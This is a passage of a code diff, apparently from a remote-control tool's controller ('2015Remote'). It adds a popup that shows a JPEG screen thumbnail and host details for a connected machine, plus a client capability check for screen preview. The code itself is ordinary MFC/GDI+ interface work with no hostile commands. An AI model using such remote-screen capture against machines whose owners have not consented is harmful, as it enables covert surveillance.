+ if (m_imageReserveW > 0 && m_imageReserveW < LOADING_W) {
+ m_imageReserveW = LOADING_W;
+ m_imageReserveH = LOADING_H;
+ }
+
+ // 创建字体(项目是 MBCS,但浮窗用宽字符;显式 LOGFONTW + W 版 API 避免编码混淆)
+ LOGFONTW lf = {};
+ HFONT hSysFont = (HFONT)::GetStockObject(DEFAULT_GUI_FONT);
+ if (hSysFont && ::GetObjectW(hSysFont, sizeof(lf), &lf) == 0) {
+ hSysFont = nullptr;
+ }
+ if (!hSysFont) {
+ lf.lfHeight = -12;
+ wcscpy_s(lf.lfFaceName, L"Microsoft YaHei");
+ }
+ HFONT hF = ::CreateFontIndirectW(&lf);
+ if (hF) m_font.Attach(hF);
+
+ // 注册自绘窗口类:用 MFC 的 AfxRegisterWndClass 确保和 MFC 子类化机制兼容
+ LPCTSTR kClass = AfxRegisterWndClass(
+ CS_SAVEBITS,
+ ::LoadCursor(NULL, IDC_ARROW),
+ (HBRUSH)(COLOR_INFOBK + 1),
+ NULL);
+
+ // 临时尺寸;RecalcLayoutAndResize 会在创建后调整
+ CRect rc(anchor.x, anchor.y, anchor.x + 400, anchor.y + 200);
+ BOOL bOk = CWnd::CreateEx(
+ WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
+ kClass, _T(""),
+ WS_POPUP | WS_BORDER,
+ rc, pParent, 0);
+ if (!bOk) return FALSE;
+
+ RecalcLayoutAndResize();
+
+ ShowWindow(SW_SHOWNOACTIVATE);
+ return TRUE;
+}
+
+void CPreviewTipWnd::SetImageFromJpeg(const BYTE* data, size_t bytes)
+{
+ if (!data || bytes == 0) return;
+
+ HGLOBAL hMem = ::GlobalAlloc(GMEM_MOVEABLE, bytes);
+ if (!hMem) return;
+ void* p = ::GlobalLock(hMem);
+ if (!p) { ::GlobalFree(hMem); return; }
+ memcpy(p, data, bytes);
+ ::GlobalUnlock(hMem);
+
+ IStream* stream = nullptr;
+ if (FAILED(::CreateStreamOnHGlobal(hMem, TRUE, &stream))) {
+ ::GlobalFree(hMem);
+ return;
+ }
+
+ std::unique_ptr bmp(new Bitmap(stream, FALSE));
+ stream->Release(); // CreateStreamOnHGlobal(..., TRUE) 释放 stream 时会释放 hMem
+
+ if (!bmp || bmp->GetLastStatus() != Ok) {
+ return;
+ }
+
+ m_image = std::move(bmp);
+ m_hasImage = true;
+ m_unavailable = false;
+ RecalcLayoutAndResize();
+ if (GetSafeHwnd()) Invalidate();
+}
+
+void CPreviewTipWnd::MarkPreviewUnavailable()
+{
+ if (m_hasImage) return; // 已经有图就不再覆盖
+ m_unavailable = true;
+ if (GetSafeHwnd()) Invalidate();
+}
+
+void CPreviewTipWnd::RecalcLayoutAndResize()
+{
+ HWND hWnd = GetSafeHwnd();
+ if (!hWnd) return;
+
+ // 估算图像尺寸(先算图像,因为文本宽度要参考图像宽度对齐)
+ if (m_image) {
+ int iw = (int)m_image->GetWidth();
+ int ih = (int)m_image->GetHeight();
+ if (iw > MAX_IMAGE_W) {
+ ih = (int)((double)ih * MAX_IMAGE_W / iw + 0.5);
+ iw = MAX_IMAGE_W;
+ }
+ m_imageDrawW = iw;
+ m_imageDrawH = ih;
+ } else {
+ m_imageDrawW = m_imageReserveW;
+ m_imageDrawH = m_imageReserveH;
+ }
+
+ // 文本换行宽度:与图像同宽(让文本视觉上对齐到图像下方),但不超过 MAX_TEXT_W
+ // 没有图像时退化到 MAX_TEXT_W
+ int textWrapW = m_imageDrawW > 0 ? min((int)MAX_TEXT_W, m_imageDrawW) : (int)MAX_TEXT_W;
+ if (textWrapW < MIN_TEXT_W) textWrapW = MIN_TEXT_W;
+
+ // 估算文本尺寸(项目是 MBCS,但浮窗文本是宽字符,必须显式调用 W 版本)
+ CClientDC dc(this);
+ CFont* old = dc.SelectObject(&m_font);
+ CRect rcText(0, 0, textWrapW, 32767);
+ ::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &rcText,
+ DT_CALCRECT | DT_LEFT | DT_WORDBREAK | DT_NOPREFIX);
+ m_textW = max((int)MIN_TEXT_W, rcText.Width());
+ if (m_imageDrawW > 0) m_textW = max(m_textW, m_imageDrawW); // 至少与图像同宽
+ m_textH = rcText.Height();
+ dc.SelectObject(old);
+
+ int contentW = max(m_imageDrawW, m_textW);
+ int gap = (m_imageDrawW > 0 && m_textH > 0) ? IMAGE_TEXT_GAP : 0;
+ int totalW = PADDING + contentW + PADDING;
+ int totalH = PADDING + m_imageDrawH + gap + m_textH + PADDING;
+
+ // 当前左上角
+ CRect rc;
+ GetWindowRect(&rc);
+ int newX = rc.left;
+ int newY = rc.top;
+
+ // 防止越出屏幕:右下夹紧到工作区
+ HMONITOR hMon = MonitorFromPoint(CPoint(newX, newY), MONITOR_DEFAULTTONEAREST);
+ MONITORINFO mi = { sizeof(mi) };
+ if (hMon && GetMonitorInfo(hMon, &mi)) {
+ if (newX + totalW > mi.rcWork.right) newX = max((int)mi.rcWork.left, mi.rcWork.right - totalW);
+ if (newY + totalH > mi.rcWork.bottom) newY = max((int)mi.rcWork.top, mi.rcWork.bottom - totalH);
+ }
+
+ SetWindowPos(NULL, newX, newY, totalW, totalH, SWP_NOZORDER | SWP_NOACTIVATE);
+}
+
+BOOL CPreviewTipWnd::OnEraseBkgnd(CDC* /*pDC*/)
+{
+ return TRUE; // 在 OnPaint 里整体填充
+}
+
+void CPreviewTipWnd::OnPaint()
+{
+ CPaintDC pdc(this);
+ CRect rcClient;
+ GetClientRect(&rcClient);
+
+ // 双缓冲
+ CDC memDC;
+ memDC.CreateCompatibleDC(&pdc);
+ CBitmap memBmp;
+ memBmp.CreateCompatibleBitmap(&pdc, rcClient.Width(), rcClient.Height());
+ CBitmap* oldBmp = memDC.SelectObject(&memBmp);
+
+ memDC.FillSolidRect(&rcClient, ::GetSysColor(COLOR_INFOBK));
+
+ CFont* oldFont = memDC.SelectObject(&m_font);
+ memDC.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
+ memDC.SetBkMode(TRANSPARENT);
+
+ int curY = PADDING;
+ if (m_imageDrawW > 0 && m_imageDrawH > 0) {
+ CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH);
+ DrawImageArea(memDC, rcImg);
+ curY += m_imageDrawH + IMAGE_TEXT_GAP;
+ }
+
+ CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
+ DrawTextArea(memDC, rcText);
+
+ memDC.SelectObject(oldFont);
+ pdc.BitBlt(0, 0, rcClient.Width(), rcClient.Height(), &memDC, 0, 0, SRCCOPY);
+ memDC.SelectObject(oldBmp);
+}
+
+void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
+{
+ // 边框
+ dc.Draw3dRect(&rc, ::GetSysColor(COLOR_3DSHADOW), ::GetSysColor(COLOR_3DSHADOW));
+
+ if (m_hasImage && m_image) {
+ Graphics g(dc.GetSafeHdc());
+ g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
+ g.SetSmoothingMode(SmoothingModeHighQuality);
+ g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2);
+ } else {
+ // 占位灰色背景
+ CRect rcInner = rc;
+ rcInner.DeflateRect(1, 1);
+ dc.FillSolidRect(&rcInner, RGB(245, 245, 245));
+
+ const wchar_t* placeholder = m_unavailable ? L"Preview Unavailable" : L"Loading Preview ...";
+ UINT fmt = DT_CENTER | DT_VCENTER | DT_SINGLELINE | DT_NOPREFIX;
+ dc.SetTextColor(m_unavailable ? RGB(160, 80, 80) : RGB(120, 120, 120));
+ RECT rcInnerRaw = rcInner;
+ ::DrawTextW(dc.GetSafeHdc(), placeholder, -1, &rcInnerRaw, fmt);
+ dc.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
+ }
+}
+
+void CPreviewTipWnd::DrawTextArea(CDC& dc, const CRect& rc)
+{
+ RECT r = rc;
+ ::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &r,
+ DT_LEFT | DT_TOP | DT_WORDBREAK | DT_NOPREFIX);
+}
diff --git a/server/2015Remote/PreviewTipWnd.h b/server/2015Remote/PreviewTipWnd.h
new file mode 100644
index 0000000..8ce01d5
--- /dev/null
+++ b/server/2015Remote/PreviewTipWnd.h
@@ -0,0 +1,57 @@
+// PreviewTipWnd.h
+// 双击在线主机时弹出的浮窗:上方 JPEG 缩略图,下方主机信息文本。
+// 无图片时显示"加载预览…"占位,供 OnListClick 即时弹窗、收到响应后再 SetImage 重画。
+#pragma once
+
+#include
+#include
+#include
+
+namespace Gdiplus { class Bitmap; }
+
+class CPreviewTipWnd : public CWnd
+{
+public:
+ CPreviewTipWnd();
+ virtual ~CPreviewTipWnd();
+
+ // 创建浮窗。
+ // anchor 屏幕坐标,浮窗左上角
+ // text 下方显示的主机详情文本(宽字符,确保跨语言系统正确渲染)
+ // imageReserveW 上方图像区域预留宽度(即将到来的预览最大宽度,仅作初始布局)
+ // 为 0 表示不预留 — 与老 STATIC 路径行为一致(仅文本)
+ BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW);
+
+ // 收到 JPEG 后调用:解码并重画。线程安全前提是只在主 UI 线程调用。
+ void SetImageFromJpeg(const BYTE* data, size_t bytes);
+ // 标记预览不可用(请求超时 / 客户端报错)。
+ void MarkPreviewUnavailable();
+
+ WORD GetReqId() const { return m_reqId; }
+ void SetReqId(WORD id) { m_reqId = id; }
+
+protected:
+ afx_msg void OnPaint();
+ afx_msg BOOL OnEraseBkgnd(CDC* pDC);
+ DECLARE_MESSAGE_MAP()
+
+private:
+ void RecalcLayoutAndResize();
+ void DrawImageArea(CDC& dc, const CRect& rc);
+ void DrawTextArea(CDC& dc, const CRect& rc);
+
+ CStringW m_text;
+ int m_imageReserveW = 0; // 预留图像宽度(图像未到达时占位)
+ int m_imageReserveH = 0; // 预留图像高度(按 16:9)
+ int m_imageDrawW = 0; // 实际图像绘制宽度
+ int m_imageDrawH = 0; // 实际图像绘制高度
+ int m_textW = 0;
+ int m_textH = 0;
+
+ bool m_hasImage = false;
+ bool m_unavailable = false;
+ std::unique_ptr m_image;
+
+ CFont m_font;
+ WORD m_reqId = 0;
+};
diff --git a/server/2015Remote/context.h b/server/2015Remote/context.h
index 7d5d520..67c123f 100644
--- a/server/2015Remote/context.h
+++ b/server/2015Remote/context.h
@@ -68,4 +68,11 @@ public:
if (caps.IsEmpty()) return false;
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_UTF8) != 0;
}
+
+ // 检查客户端是否支持屏幕预览(双击主机时拉缩略图)。
+ bool SupportsScreenPreview() const {
+ CString caps = GetClientData(ONLINELIST_CAPABILITIES);
+ if (caps.IsEmpty()) return false;
+ return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_SCREEN_PREVIEW) != 0;
+ }
};
diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h
index b708956..c76ec09 100644
--- a/server/2015Remote/stdafx.h
+++ b/server/2015Remote/stdafx.h
@@ -101,6 +101,7 @@
#define WM_SHOWNOTIFY WM_USER+3031
#define WM_DISCONNECT WM_USER+3032
#define WM_OPENTERMINALDIALOG WM_USER+3033
+#define WM_PREVIEW_RESPONSE WM_USER+3034
#ifdef _UNICODE
#if defined _M_IX86